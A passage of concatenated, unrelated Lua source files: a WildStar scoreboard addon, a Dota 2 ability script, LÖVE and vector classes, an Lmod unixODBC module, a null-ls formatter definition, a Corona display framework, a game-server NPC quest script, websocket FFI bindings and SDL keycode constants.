if not isOccluded(unit) then
self.wndMain:AddPixie({strSprite = spriteName, cr = opacityColor(self.options.opacity),
loc = {fPoints = {0, 0, 0, 0}, nOffsets = {screen3["x"] - offset, screen3["y"] - offset, screen3["x"] + offset, screen3["y"] + offset}}})
end
end
end
end
end
end
function DrScoreBadger:UpdateOptionsPixies()
size = 50
self.wndOpts:DestroyAllPixies()
self.wndOpts:AddPixie({strSprite = self:GetHealSprite(),
loc = {fPoints = {0, 0, 0, 0}, nOffsets = {56, 106, 56 + size, 106 + size}}})
self.wndOpts:AddPixie({strSprite = self:GetKillsSprite(),
loc = {fPoints = {0, 0, 0, 0}, nOffsets = {56, 199, 56 + size, 199 + size}}})
self.wndOpts:AddPixie({strSprite = self:GetDeathsSprite(),
loc = {fPoints = {0, 0, 0, 0}, nOffsets = {56, 298, 56 + size, 298 + size}}})
end
function DrScoreBadger:OnTargetUnitChanged(unit)
self.targetUnit = unit
end
function DrScoreBadger:GetHealSprite()
return "drScoreBadgerSprites:" .. healSprites[self.options.healSprite]
end
function DrScoreBadger:GetKillsSprite()
return "drScoreBadgerSprites:" .. killsSprites[self.options.killsSprite]
end
function DrScoreBadger:GetDeathsSprite()
return "drScoreBadgerSprites:" .. deathsSprites[self.options.deathsSprite]
end
-----------------------------------------------------------------------------------------------
-- Helper Functions
-----------------------------------------------------------------------------------------------
function isOccluded(unit)
pos = GameLib.GetUnitScreenPosition(unit)
return unit:IsDead() or pos == nil or not pos.bOnScreen or
(not unit:IsMounted() and unit:IsOccluded()) or (unit:IsMounted() and unit:GetUnitMount():IsOccluded())
end
function opacityColor(opacity)
o = opacity/100 * 255
return string.format("%02x", o) .. "FFFFFF"
end
function topK(t, n, cmp)
table.sort(t, cmp)
ret = {}
for i = 1,n do
if i > #t then return ret end
ret[#ret+1] = t[i]
end
return ret
end
function filter_a(t, pred)
ret = {}
for _, v in pairs(t) do
if pred(v) then
ret[#ret + 1] = v
end
end
return ret
end
-----------------------------------------------------------------------------------------------
-- DrScoreBadgerOptionsForm Functions
-----------------------------------------------------------------------------------------------
function DrScoreBadger:OnConfigure()
self.wndOpts:FindChild("drawHealers"):SetCheck(self.options.bShowHealers)
self.wndOpts:FindChild("drawScorers"):SetCheck(self.options.bShowScorers)
self.wndOpts:FindChild("drawDeaths"):SetCheck(self.options.bShowTurds)
self.wndOpts:FindChild("damagePlayers"):SetText(tostring(self.options.nNumDamage))
self.wndOpts:FindChild("killsPlayers"):SetText(tostring(self.options.nNumKills))
self.wndOpts:FindChild("deathsPlayers"):SetText(tostring(self.options.nNumDeaths))
self.wndOpts:FindChild("opacitySliderBar"):SetValue(self.options.opacity)
self.wndOpts:FindChild("sizeSliderBar"):SetValue(self.options.size)
self.wndOpts:FindChild("heightSliderBar"):SetValue(self.options.height)
self.prevOpacity = self.options.opacity
self.prevSize = self.options.size
self.prevHeight = self.options.height
self.prevHealSprite = self.options.healSprite
self.prevKillsSprite = self.options.killsSprite
self.prevDeathsSprite = self.options.deathsSprite
self.bTesting = false
self.wndOpts:FindChild("testSettings"):SetText("Test Settings on current target")
self.testSprite = self:GetHealSprite()
self:UpdateOptionsPixies()
self.wndOpts:Invoke()
end
function DrScoreBadger:OnOK()
self.options.bShowHealers = self.wndOpts:FindChild("drawHealers"):IsChecked()
self.options.bShowScorers = self.wndOpts:FindChild("drawScorers"):IsChecked()
self.options.bShowTurds = self.wndOpts:FindChild("drawDeaths"):IsChecked()
self.options.nNumDamage = tonumber(self.wndOpts:FindChild("damagePlayers"):GetText()) or 3
self.options.nNumKills = tonumber(self.wndOpts:FindChild("killsPlayers"):GetText()) or 3
self.options.nNumDeaths = tonumber(self.wndOpts:FindChild("deathsPlayers"):GetText()) or 3
self.options.opacity = self.wndOpts:FindChild("opacitySliderBar"):GetValue()
self.options.size = self.wndOpts:FindChild("sizeSliderBar"):GetValue()
self.options.height = self.wndOpts:FindChild("heightSliderBar"):GetValue()
self.bTesting = false
self.wndOpts:Close()
end
function DrScoreBadger:OnCancel()
self.options.opacity = self.prevOpacity
self.options.size = self.prevSize
self.options.height = self.prevHeight
self.options.healSprite = self.prevHealSprite
self.options.killsSprite = self.prevKillsSprite
self.options.deathsSprite = self.prevDeathsSprite
self.bTesting = false
self.wndOpts:Close()
end
function DrScoreBadger:OnTestSettings()
self.bTesting = not self.bTesting
text = self.bTesting and "Stop Testing" or "Test Settings on current target"
self.wndOpts:FindChild("testSettings"):SetText(text)
end
function DrScoreBadger:OnOpacityChanged()
self.options.opacity = self.wndOpts:FindChild("opacitySliderBar"):GetValue()
end
function DrScoreBadger:OnSizeChanged()
self.options.size = self.wndOpts:FindChild("sizeSliderBar"):GetValue()
end
function DrScoreBadger:OnHeightChanged()
self.options.height = self.wndOpts:FindChild("heightSliderBar"):GetValue()
end
function DrScoreBadger:OnHealNext()
self.options.healSprite = (self.options.healSprite % #healSprites) + 1
self:UpdateOptionsPixies()
self.testSprite = self:GetHealSprite()
end
function DrScoreBadger:OnHealPrev()
self.options.healSprite = ((self.options.healSprite - 2) % #healSprites) + 1
self:UpdateOptionsPixies()
self.testSprite = self:GetHealSprite()
end
function DrScoreBadger:OnKillsNext()
self.options.killsSprite = (self.options.killsSprite % #killsSprites) + 1
self:UpdateOptionsPixies()
self.testSprite = self:GetKillsSprite()
end
function DrScoreBadger:OnKillsPrev()
self.options.killsSprite = ((self.options.killsSprite - 2) % #killsSprites) + 1
self:UpdateOptionsPixies()
self.testSprite = self:GetKillsSprite()
end
function DrScoreBadger:OnDeathsNext()
self.options.deathsSprite = (self.options.deathsSprite % #deathsSprites) + 1
self:UpdateOptionsPixies()
self.testSprite = self:GetDeathsSprite()
end
function DrScoreBadger:OnDeathsPrev()
self.options.deathsSprite = ((self.options.deathsSprite - 2) % #deathsSprites) + 1
self:UpdateOptionsPixies()
self.testSprite = self:GetDeathsSprite()
end
-----------------------------------------------------------------------------------------------
-- DrScoreBadger Instance
-----------------------------------------------------------------------------------------------
local DrScoreBadgerInst = DrScoreBadger:new()
DrScoreBadgerInst:Init()
|
--[[Author: YOLOSPAGHETTI
Date: February 16, 2016
Draws all unit models, places them in random positions in the aoe, and creates the doppelganger illusions]]
function DoppelgangerEnd( event )
local caster = event.caster
local target = event.target
local ability = event.ability
local radius = ability:GetLevelSpecialValueFor( "target_radius", ability:GetLevel() - 1 )
-- Draws the unit's model
target:RemoveNoDraw()
-- Sets them in a random position in the target aoe
target:SetAbsOrigin(target.doppleganger_position)
FindClearSpaceForUnit(target, target.doppleganger_position, true)
if target == caster then
local player = caster:GetPlayerID()
local unit_name = caster:GetUnitName()
local duration = ability:GetLevelSpecialValueFor( "illusion_duration", ability:GetLevel() - 1 )
-- Creates both doppelgangers
for j=0,1 do
local rand_distance = math.random(0,radius)
local origin = caster:GetAbsOrigin() + RandomVector(rand_distance)
local outgoingDamage
local incomingDamage
-- Sets the outgoing and incoming damage values for the doppelgangers
if j==0 then
outgoingDamage = ability:GetLevelSpecialValueFor( "first_illusion_outgoing_damage", ability:GetLevel() - 1 )
incomingDamage = ability:GetLevelSpecialValueFor( "first_illusion_incoming_damage", ability:GetLevel() - 1 )
else
outgoingDamage = ability:GetLevelSpecialValueFor( "second_illusion_outgoing_damage", ability:GetLevel() - 1 )
incomingDamage = ability:GetLevelSpecialValueFor( "second_illusion_incoming_damage", ability:GetLevel() - 1 )
end
-- handle_UnitOwner needs to be nil, else it will crash the game.
local illusion = CreateUnitByName(unit_name, origin, true, caster, nil, caster:GetTeamNumber())
illusion:SetPlayerID(caster:GetPlayerID())
illusion:SetControllableByPlayer(player, true)
-- Level Up the unit to the casters level
local casterLevel = caster:GetLevel()
for i=1,casterLevel-1 do
illusion:HeroLevelUp(false)
end
-- Set the skill points to 0 and learn the skills of the caster
illusion:SetAbilityPoints(0)
for abilitySlot=0,15 do
local ability = caster:GetAbilityByIndex(abilitySlot)
if ability ~= nil then
local abilityLevel = ability:GetLevel()
local abilityName = ability:GetAbilityName()
local illusionAbility = illusion:FindAbilityByName(abilityName)
illusionAbility:SetLevel(abilityLevel)
end
end
-- Recreate the items of the caster
for itemSlot=0,5 do
local item = caster:GetItemInSlot(itemSlot)
if item ~= nil then
local itemName = item:GetName()
local newItem = CreateItem(itemName, illusion, illusion)
illusion:AddItem(newItem)
end
end
-- Set the unit as an illusion
-- modifier_illusion controls many illusion properties like +Green damage not adding to the unit damage, not being able to cast spells and the team-only blue particle
illusion:AddNewModifier(caster, ability, "modifier_illusion", { duration = duration, outgoing_damage = outgoingDamage, incoming_damage = incomingDamage })
-- Without MakeIllusion the unit counts as a hero, e.g. if it dies to neutrals it says killed by neutrals, it respawns, etc.
illusion:MakeIllusion()
end
end
end
--[[Author: YOLOSPAGHETTI
Date: February 16, 2016
Applies a basic dispel to the unit and removes the model]]
function DoppelgangerStart( keys )
local target = keys.target
-- Basic Dispel
local RemovePositiveBuffs = false
local RemoveDebuffs = true
local BuffsCreatedThisFrameOnly = false
local RemoveStuns = false
local RemoveExceptions = false
target:Purge( RemovePositiveBuffs, RemoveDebuffs, BuffsCreatedThisFrameOnly, RemoveStuns, RemoveExceptions)
-- Removes the unit's model
target:AddNoDraw()
end
--[[Author: YOLOSPAGHETTI
Date: February 16, 2016
Applies the banish to the caster and all of his illusions in the area]]
function CheckUnits(keys)
local caster = keys.caster
local target = keys.target
local ability = keys.ability
local duration = ability:GetLevelSpecialValueFor( "delay", ability:GetLevel() - 1 )
local radius = ability:GetLevelSpecialValueFor( "target_radius", ability:GetLevel() - 1 )
-- Checks that the unit is either the caster or one of his illusions, and applies the banish
if target:GetUnitName() == caster:GetUnitName() and target:GetMainControllingPlayer() == caster:GetMainControllingPlayer() then
-- Calculate the random positions for the illusions and caster
local rand_distance = math.random(0,radius)
local rand_position = ability:GetCursorPosition() + RandomVector(rand_distance)
target.doppleganger_position = rand_position
-- Create the dopple disappear effect
local dopple_particle = ParticleManager:CreateParticle("particles/units/heroes/hero_phantom_lancer/phantom_lancer_doppleganger_illlmove.vpcf",PATTACH_CUSTOMORIGIN,caster)
ParticleManager:SetParticleControl(dopple_particle,0,target:GetAbsOrigin())
ParticleManager:SetParticleControl(dopple_particle,1,rand_position)
ParticleManager:ReleaseParticleIndex(dopple_particle)
ability:ApplyDataDrivenModifier(caster, target, "modifier_doppelganger_datadriven", {Duration = duration})
end
end
|
local Pvector = require('./Pvector')
local Block = {}
Block.__index = Block
function Block.new()
local r = {}
setmetatable(r, Block)
r.height = 50
r.width = 10
r.location = Pvector.new(width + 5, height / 2 - r.height)
return r
end
function Block:draw()
love.graphics.rectangle('fill', self.location.x, self.location.y, self.width, self.height)
end
function Block:move(speed)
self.location.x = self.location.x - speed
end
return Block
|
classtools = require 'classtools'
local Vector = {}
function Vector:constructor(x, y)
self[0] = x or 0
self[1] = y or 0
if self[0] == 0 and self[1] ~= 0 then
self.direction_index = 1
elseif self[1] == 0 and self[0] ~= 0 then
self.direction_index = 0
end
end
function Vector:direction()
return self[self.direction_index]
end
function Vector:zero_index()
return math.abs(self.direction_index - 1)
end
function Vector:expand()
return self[0], self[1]
end
function Vector:contains(point)
return point[0] >= 0
and point[0] < self[0]
and point[1] >= 0
and point[1] < self[1]
end
local function add(a, b)
if type(b) == 'number' then
return Vector(a[0] + b, a[1] + b)
else
return Vector(a[0] + b[0], a[1] + b[1])
end
end
local function subtract(a, b)
if type(b) == 'number' then
return Vector(a[0] - b, a[1] - b)
else
return Vector(a[0] - b[0], a[1] - b[1])
end
end
local function multiply(a, b)
if type(b) == 'number' then
return Vector(a[0] * b, a[1] * b)
else
return Vector(a[0] * b[0], a[1] * b[1])
end
end
local function divide(a, b)
if type(b) == 'number' then
return Vector(a[0] / b, a[1] / b)
else
return Vector(a[0] / b[0], a[1] / b[1])
end
end
local function modulo(a, b)
if type(b) == 'number' then
return Vector(a[0] % b, a[1] % b)
else
return Vector(a[0] % b[0], a[1] % b[1])
end
end
local function to_string(t)
return t[0] .. ' ' .. t[1]
end
setmetatable(Vector, {
__add = add,
__sub = subtract,
__mul = multiply,
__div = divide,
__mod = modulo,
__tostring = to_string,
})
classtools.callable(Vector)
return Vector
|
help(
[[
This module loads unixODBC 2.3.2
The unixODBC Project goals are to develop and promote unixODBC to be the
definitive standard for ODBC on non MS Windows platforms.
]])
whatis("Loads unixODBC libraries")
local version = "2.3.2"
local base = "/cvmfs/oasis.opensciencegrid.org/osg/modules/unixodbc/"..version
prepend_path("LD_LIBRARY_PATH", pathJoin(base, "lib"))
prepend_path("PATH", pathJoin(base, "bin"))
prepend_path("CPATH", base.."/include")
prepend_path("LIBRARY_PATH", base.."/lib")
family('unixODBC')
|
local h = require("null-ls.helpers")
local methods = require("null-ls.methods")
local FORMATTING = methods.internal.FORMATTING
return h.make_builtin({
name = "zprint",
meta = {
url = "https://github.com/kkinnear/zprint",
description = "Beautifully format Clojure and Clojurescript source code and s-expressions.",
notes = { "Requires that `zprint` is executable and on $PATH." },
},
method = FORMATTING,
filetypes = { "clojure" },
generator_opts = {
command = "zprint",
to_stdin = true,
},
factory = h.formatter_factory,
})
|
--[[ CooL( Corona Object-Oriented Lua )
https://github.com/dejayc/CooL
Copyright 2011 Dejay Clayton
All use of this file must comply with the Apache License,
Version 2.0, under which this file is licensed:
http://www.apache.org/licenses/LICENSE-2.0 --]]
--[[
-------------------------------------------------------------------------------
-- Convenience methods to inspect and manipulate the state of the display, as
-- configured by CooL.
module "FrameworkDisplay"
-------------------------------------------------------------------------------
--]]
local BaseLua = require( "BaseLua" )
local CooL = require( "CooL" )
local ClassHelper = require( BaseLua.package.ClassHelper )
local DataHelper = require( BaseLua.package.DataHelper )
local FileHelper = require( BaseLua.package.FileHelper )
local DisplayHelper = require( CooL.package.DisplayHelper )
local CLASS = ClassHelper.autoclass( ClassHelper.getPackagePath( ... ) )
--- Description.
-- @name init
-- @param frameworkConfig
-- @param ...
-- @return description.
-- @usage example
-- @see class
function CLASS:init( frameworkConfig, ... )
self.fileLookup = frameworkConfig:getFileLookup()
self.scalingAxis = frameworkConfig:getScalingAxis()
DisplayHelper.setStatusBar( frameworkConfig:getStatusBar() )
end
--- Description.
-- @name findByScale
-- @param fileName
-- @param rootPath
-- @param coronaPathType
-- @param dynamicScale
-- @param bypassDefaultCheck
-- @return description.
-- @usage example
-- @see class
CLASS.findFileByScale = DataHelper.memoize( function(
self, fileName, rootPath, coronaPathType, dynamicScale,
bypassDefaultCheck
)
local hasDefaultArguments = false
if ( fileName == nil ) then
fileName = ""
hasDefaultArguments = true
end
if ( rootPath == nil ) then
rootPath = ""
hasDefaultArguments = true
end
if ( coronaPathType == nil ) then
coronaPathType = system.ResourceDirectory
hasDefaultArguments = true
end
if ( dynamicScale == nil ) then
dynamicScale = self:getDynamicScale()
hasDefaultArguments = true
end
if ( bypassDefaultCheck == nil ) then
bypassDefaultCheck = false
hasDefaultArguments = true
end
-- If default values have been used, call the method again with the
-- default values so that the results are memoized for both method
-- invocations.
if ( hasDefaultArguments ) then
return self:findFileByScale(
fileName, rootPath, coronaPathType, dynamicScale,
bypassDefaultCheck )
end
if ( fileName == nil or fileName == "" ) then return nil end
if ( rootPath ~= nil ) then
rootPath = rootPath .. FileHelper.PATH_SEPARATOR
else
rootPath = ""
end
local fileLookups = self:getFileLookupsForScale( dynamicScale )
if ( DataHelper.isNonEmptyTable( fileLookups ) ) then
local _, _, filePrefix, fileExt = string.find(
fileName, "^(.*)%.(.-)$" )
local checkedPaths = {}
for _, entry in ipairs( fileLookups ) do
local fileLookup = entry.lookup
local fileScale = entry.scale
local subdirs = fileLookup.subdir
if ( subdirs == nil ) then subdirs = { "" } end
if ( type( subdirs ) ~= "table" ) then
subdirs = { subdirs }
end
local suffixes = fileLookup.suffix
if ( suffixes == nil ) then suffixes = { "" } end
if ( type( suffixes ) ~= "table" ) then
suffixes = { suffixes }
end
for _, subdir in ipairs( subdirs )
do
for _, suffix in ipairs( suffixes )
do
-- Skip the check when subdir and suffix are both empty,
-- as that condition will be checked last, when the default
-- directory and filename are checked.
if ( subdir ~= "" or suffix ~= "" )
then
local filePath = rootPath
if ( subdir ~= "" ) then
filePath = filePath .. subdir ..
FileHelper.PATH_SEPARATOR
end
local checkedFileName =
filePrefix .. suffix .. "." .. fileExt
local checkedPath = filePath .. checkedFileName
if ( checkedPaths[ checkedPath ] == nil ) then
checkedPaths[ checkedPath ] = true
if ( FileHelper.getFileSystemPath(
checkedPath, coronaPathType ) ~= nil )
then
return filePath, checkedFileName, fileScale
end
end
end
end
end
end
end
if ( bypassDefaultCheck ) then
return nil
end
local checkedPath = rootPath .. fileName
if ( FileHelper.getFileSystemPath( checkedPath, coronaPathType ) == nil )
then
return nil
end
return rootPath, fileName, 1
end )
--- Description.
-- @name getDisplayScale
-- @param scalingAxis
-- @return description.
-- @usage example
-- @see class
CLASS.getDisplayScale = DataHelper.memoize( function(
self, scalingAxis
)
local hasDefaultArguments = false
if ( scalingAxis == nil ) then
scalingAxis = self:getScalingAxis()
hasDefaultArguments = true
end
-- If default values have been used, call the method again with the
-- default values so that the results are memoized for both method
-- invocations.
if ( hasDefaultArguments ) then
return self:getDisplayScale( scalingAxis )
end
local displayScale = nil
local height = DisplayHelper.getDisplayHeight()
local heightScale = display.contentScaleY
local width = DisplayHelper.getDisplayWidth()
local widthScale = display.contentScaleX
if ( scalingAxis == "minScale" ) then
if ( heightScale < widthScale ) then
displayScale = widthScale
else
displayScale = heightScale
end
elseif ( scalingAxis == "maxScale" ) then
if ( heightScale > widthScale ) then
displayScale = widthScale
else
displayScale = heightScale
end
elseif ( scalingAxis == "minResScale" ) then
if ( height < width ) then
displayScale = heightScale
else
displayScale = widthScale
end
elseif ( scalingAxis == "maxResScale" ) then
if ( height > width ) then
displayScale = heightScale
else
displayScale = widthScale
end
elseif ( scalingAxis == "widthScale" ) then
if ( orientation == "landscape" )
then
displayScale = widthScale
else
displayScale = heightScale
end
elseif ( scalingAxis == "heightScale" ) then
if ( orientation == "landscape" )
then
displayScale = heightScale
else
displayScale = widthScale
end
end
return displayScale
end )
--- Description.
-- @name getDynamicScale
-- @return description.
-- @usage example
-- @see class
function CLASS:getDynamicScale()
return DataHelper.roundNumber( 1 / self:getDisplayScale(), 3 )
end
--- Description.
-- @name getFileLookup
-- @return description.
-- @usage example
-- @see class
function CLASS:getFileLookup()
return self.fileLookup
end
--- Description.
-- @name hasFileLookup
-- @return description.
-- @usage example
-- @see class
function CLASS:hasFileLookup()
return DataHelper.hasValue( self.fileLookup )
end
--- Description.
-- @name getFileLookupsForScale
-- @param scale
-- @return description.
-- @usage example
-- @see class
CLASS.getFileLookupsForScale = DataHelper.memoize( function(
self, scale
)
local fileLookupsForScale = {}
local fileLookupsSortedByScale = self:getFileLookupsSortedByScale()
if ( fileLookupsSortedByScale ~= nil ) then
local cutOff, threshold, indexIncrement
if ( scale >= 1 ) then
cutOff, threshold, indexIncrement = scale, 1, 1
else
cutOff, threshold, indexIncrement = 1, scale, 0
end
for _, entry in ipairs( fileLookupsSortedByScale ) do
if ( entry.scale > cutOff ) then break end
if ( entry.scale >= threshold ) then
local index = 1
for _, lookup in pairs( entry.lookup ) do
table.insert( fileLookupsForScale, index,
{ lookup = lookup, scale = entry.scale } )
index = index + indexIncrement
end
end
end
end
return fileLookupsForScale
end )
--- Description.
-- @name getFileLookupsSortedByScale
-- @return description.
-- @usage example
-- @see class
CLASS.getFileLookupsSortedByScale = DataHelper.memoize( function(
self
)
local fileLookup = self:getFileLookup()
if ( fileLookup == nil ) then return nil end
local fileScales = DataHelper.getNumericKeysSorted( fileLookup )
local fileLookupsSortedByScale = {}
for _, scale in pairs( fileScales ) do
table.insert( fileLookupsSortedByScale, {
scale = scale,
lookup = fileLookup[ scale ] } )
end
return fileLookupsSortedByScale
end )
--- Description.
-- @name getScalingAxis
-- @return description.
-- @usage example
-- @see class
function CLASS:getScalingAxis()
return self.scalingAxis
end
--- Description.
-- @name hasScalingAxis
-- @return description.
-- @usage example
-- @see class
function CLASS:hasScalingAxis()
return DataHelper.hasValue( self.scalingAxis )
end
return CLASS
|
-----------------------------------
-- Area: Caedarva Mire
-- NPC: qm9
-- Involved in quest: The Wayward Automation
-- !pos 129 1.396 -631 79
-----------------------------------
local ID = require("scripts/zones/Caedarva_Mire/IDs")
require("scripts/globals/quests")
function onTrade(player, npc, trade)
end
function onTrigger(player, npc)
local TheWaywardAutomation = player:getQuestStatus(AHT_URHGAN, tpz.quest.id.ahtUrhgan.THE_WAYWARD_AUTOMATION)
local TheWaywardAutomationProgress = player:getCharVar("TheWaywardAutomationProgress")
if (TheWaywardAutomation == QUEST_ACCEPTED and TheWaywardAutomationProgress == 2) then
if (player:getCharVar("TheWaywardAutomationNM") >= 1) then
player:startEvent(14)-- Event ID 14 for CS after toad
elseif (not GetMobByID(ID.mob.CAEDARVA_TOAD):isSpawned()) then
SpawnMob(ID.mob.CAEDARVA_TOAD):updateClaim(player) --Caedarva toad
end
else
player:messageSpecial(ID.text.NOTHING_OUT_OF_ORDINARY)
end
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if (csid == 14) then
player:setCharVar("TheWaywardAutomationProgress", 3)
player:setCharVar("TheWaywardAutomationNM", 0)
end
end
|
-- ============================================================================
--
-- Particle Client
-- Handler functions for particle effects on player
--
-- ============================================================================
-- ============================================================================
-- ----------------------------------------------------------------------------
-- Initialisation
-- ----------------------------------------------------------------------------
-- ============================================================================
local ParticleClient = {}
function ParticleClient:Initialise()
end
-- ============================================================================
-- ----------------------------------------------------------------------------
-- Handler functions
-- ----------------------------------------------------------------------------
-- ============================================================================
return ParticleClient;
|
local ffi = require("ffi")
ffi.cdef[[
void REQUEST_get_header_value( const char *data, const char *requested_value_name, char *dst, const unsigned int dst_len );
int WEBSOCKET_generate_handshake( const char *data, char *dst, const unsigned int dst_len );
int WEBSOCKET_set_content( const char *data, int64_t data_length, unsigned char *dst, const unsigned int dst_len );
int WEBSOCKET_get_content( const char *data, int64_t data_length, unsigned char *dst, const unsigned int dst_len, unsigned char *hdr );
short WEBSOCKET_valid_connection( const char *data );
int WEBSOCKET_client_version( const char *data );
]]
local websocket = ffi.load("websocket")
return websocket
|
return {
unlock_equip = 10,
unlock_hero = 20,
default_avatar = "Assets/Icon/DefaultAvatar.png",
default_item = "Assets/Icon/DefaultAvatar.png",
}
|
-- From sdl :)
keycodes = {
KEY_UNKNOWN = 0,
KEY_A = 4,
KEY_B = 5,
KEY_C = 6,
KEY_D = 7,
KEY_E = 8,
KEY_F = 9,
KEY_G = 10,
KEY_H = 11,
KEY_I = 12,
KEY_J = 13,
KEY_K = 14,
KEY_L = 15,
KEY_M = 16,
KEY_N = 17,
KEY_O = 18,
KEY_P = 19,
KEY_Q = 20,
KEY_R = 21,
KEY_S = 22,
KEY_T = 23,
KEY_U = 24,
KEY_V = 25,
KEY_W = 26,
KEY_X = 27,
KEY_Y = 28,
KEY_Z = 29,
KEY_1 = 30,
KEY_2 = 31,
KEY_3 = 32,
KEY_4 = 33,
KEY_5 = 34,
KEY_6 = 35,
KEY_7 = 36,
KEY_8 = 37,
KEY_9 = 38,
KEY_0 = 39,
KEY_RETURN = 40,
KEY_ESCAPE = 41,
KEY_BACKSPACE = 42,
KEY_TAB = 43,
KEY_SPACE = 44,
KEY_MINUS = 45,
KEY_EQUALS = 46,
KEY_LEFTBRACKET = 47,
KEY_RIGHTBRACKET = 48,
KEY_BACKSLASH = 49,
KEY_NONUSHASH = 50,
KEY_SEMICOLON = 51,
KEY_APOSTROPHE = 52,
KEY_GRAVE = 53,
KEY_COMMA = 54,
KEY_PERIOD = 55,
KEY_SLASH = 56,
KEY_CAPSLOCK = 57,
KEY_F1 = 58,
KEY_F2 = 59,
KEY_F3 = 60,
KEY_F4 = 61,
KEY_F5 = 62,
KEY_F6 = 63,
KEY_F7 = 64,
KEY_F8 = 65,
KEY_F9 = 66,
KEY_F10 = 67,
KEY_F11 = 68,
KEY_F12 = 69,
KEY_PRINTSCREEN = 70,
KEY_SCROLLLOCK = 71,
KEY_PAUSE = 72,
KEY_INSERT = 73,
KEY_HOME = 74,
KEY_PAGEUP = 75,
KEY_DELETE = 76,
KEY_END = 77,
KEY_PAGEDOWN = 78,
KEY_RIGHT = 79,
KEY_LEFT = 80,
KEY_DOWN = 81,
KEY_UP = 82,
KEY_NUMLOCKCLEAR = 83,
KEY_KP_DIVIDE = 84,
KEY_KP_MULTIPLY = 85,
KEY_KP_MINUS = 86,
KEY_KP_PLUS = 87,
KEY_KP_ENTER = 88,
KEY_KP_1 = 89,
KEY_KP_2 = 90,
KEY_KP_3 = 91,
KEY_KP_4 = 92,
KEY_KP_5 = 93,
KEY_KP_6 = 94,
KEY_KP_7 = 95,
KEY_KP_8 = 96,
KEY_KP_9 = 97,
KEY_KP_0 = 98,
KEY_KP_PERIOD = 99,
KEY_NONUSBACKSLASH = 100,
KEY_APPLICATION = 101,
KEY_POWER = 102,
KEY_KP_EQUALS = 103,
KEY_F13 = 104,
KEY_F14 = 105,
KEY_F15 = 106,
KEY_F16 = 107,
KEY_F17 = 108,
KEY_F18 = 109,
KEY_F19 = 110,
KEY_F20 = 111,
KEY_F21 = 112,
KEY_F22 = 113,
KEY_F23 = 114,
KEY_F24 = 115,
KEY_EXECUTE = 116,
KEY_HELP = 117,
KEY_MENU = 118,
KEY_SELECT = 119,
KEY_STOP = 120,
KEY_AGAIN = 121,
KEY_UNDO = 122,
KEY_CUT = 123,
KEY_COPY = 124,
KEY_PASTE = 125,
KEY_FIND = 126,
KEY_MUTE = 127,
KEY_VOLUMEUP = 128,
KEY_VOLUMEDOWN = 129,
KEY_LOCKINGCAPSLOCK = 130,
KEY_LOCKINGNUMLOCK = 131,
KEY_LOCKINGSCROLLLOCK = 132,
KEY_KP_COMMA = 133,
KEY_KP_EQUALSAS400 = 134,
KEY_INTERNATIONAL1 = 135,
KEY_INTERNATIONAL2 = 136,
KEY_INTERNATIONAL3 = 137,
KEY_INTERNATIONAL4 = 138,
KEY_INTERNATIONAL5 = 139,
KEY_INTERNATIONAL6 = 140,
KEY_INTERNATIONAL7 = 141,
KEY_INTERNATIONAL8 = 142,
KEY_INTERNATIONAL9 = 143,
KEY_LANG1 = 144,
KEY_LANG2 = 145,
KEY_LANG3 = 146,
KEY_LANG4 = 147,
KEY_LANG5 = 148,
KEY_LANG6 = 149,
KEY_LANG7 = 150,
KEY_LANG8 = 151,
KEY_LANG9 = 152,
KEY_ALTERASE = 153,
KEY_SYSREQ = 154,
KEY_CANCEL = 155,
KEY_CLEAR = 156,
KEY_PRIOR = 157,
KEY_RETURN2 = 158,
KEY_SEPARATOR = 159,
KEY_OUT = 160,
KEY_OPER = 161,
KEY_CLEARAGAIN = 162,
KEY_CRSEL = 163,
KEY_EXSEL = 164,
KEY_KP_00 = 176,
KEY_KP_000 = 177,
KEY_THOUSANDSSEPARATOR = 178,
KEY_DECIMALSEPARATOR = 179,
KEY_CURRENCYUNIT = 180,
KEY_CURRENCYSUBUNIT = 181,
KEY_KP_LEFTPAREN = 182,
KEY_KP_RIGHTPAREN = 183,
KEY_KP_LEFTBRACE = 184,
KEY_KP_RIGHTBRACE = 185,
KEY_KP_TAB = 186,
KEY_KP_BACKSPACE = 187,
KEY_KP_A = 188,
KEY_KP_B = 189,
KEY_KP_C = 190,
KEY_KP_D = 191,
KEY_KP_E = 192,
KEY_KP_F = 193,
KEY_KP_XOR = 194,
KEY_KP_POWER = 195,
KEY_KP_PERCENT = 196,
KEY_KP_LESS = 197,
KEY_KP_GREATER = 198,
KEY_KP_AMPERSAND = 199,
KEY_KP_DBLAMPERSAND = 200,
KEY_KP_VERTICALBAR = 201,
KEY_KP_DBLVERTICALBAR = 202,
KEY_KP_COLON = 203,
KEY_KP_HASH = 204,
KEY_KP_SPACE = 205,
KEY_KP_AT = 206,
KEY_KP_EXCLAM = 207,
KEY_KP_MEMSTORE = 208,
KEY_KP_MEMRECALL = 209,
KEY_KP_MEMCLEAR = 210,
KEY_KP_MEMADD = 211,
KEY_KP_MEMSUBTRACT = 212,
KEY_KP_MEMMULTIPLY = 213,
KEY_KP_MEMDIVIDE = 214,
KEY_KP_PLUSMINUS = 215,
KEY_KP_CLEAR = 216,
KEY_KP_CLEARENTRY = 217,
KEY_KP_BINARY = 218,
KEY_KP_OCTAL = 219,
KEY_KP_DECIMAL = 220,
KEY_KP_HEXADECIMAL = 221,
KEY_LCTRL = 224,
KEY_LSHIFT = 225,
KEY_LALT = 226,
KEY_LGUI = 227,
KEY_RCTRL = 228,
KEY_RSHIFT = 229,
KEY_RALT = 230,
KEY_RGUI = 231,
KEY_MODE = 257,
KEY_AUDIONEXT = 258,
KEY_AUDIOPREV = 259,
KEY_AUDIOSTOP = 260,
KEY_AUDIOPLAY = 261,
KEY_AUDIOMUTE = 262,
KEY_MEDIASELECT = 263,
KEY_WWW = 264,
KEY_MAIL = 265,
KEY_CALCULATOR = 266,
KEY_COMPUTER = 267,
KEY_AC_SEARCH = 268,
KEY_AC_HOME = 269,
KEY_AC_BACK = 270,
KEY_AC_FORWARD = 271,
KEY_AC_STOP = 272,
KEY_AC_REFRESH = 273,
KEY_AC_BOOKMARKS = 274,
KEY_BRIGHTNESSDOWN = 275,
KEY_BRIGHTNESSUP = 276,
KEY_DISPLAYSWITCH = 277,
KEY_KBDILLUMTOGGLE = 278,
KEY_KBDILLUMDOWN = 279,
KEY_KBDILLUMUP = 280,
KEY_EJECT = 281,
KEY_SLEEP = 282,
KEY_APP1 = 283,
KEY_APP2 = 284,
KEY_AUDIOREWIND = 285,
KEY_AUDIOFASTFORWARD = 286,
}
__KEYSMT__ = {}
setmetatable(__KEYSMT__, __KEYSMT__)
function __KEYSMT__.__call()
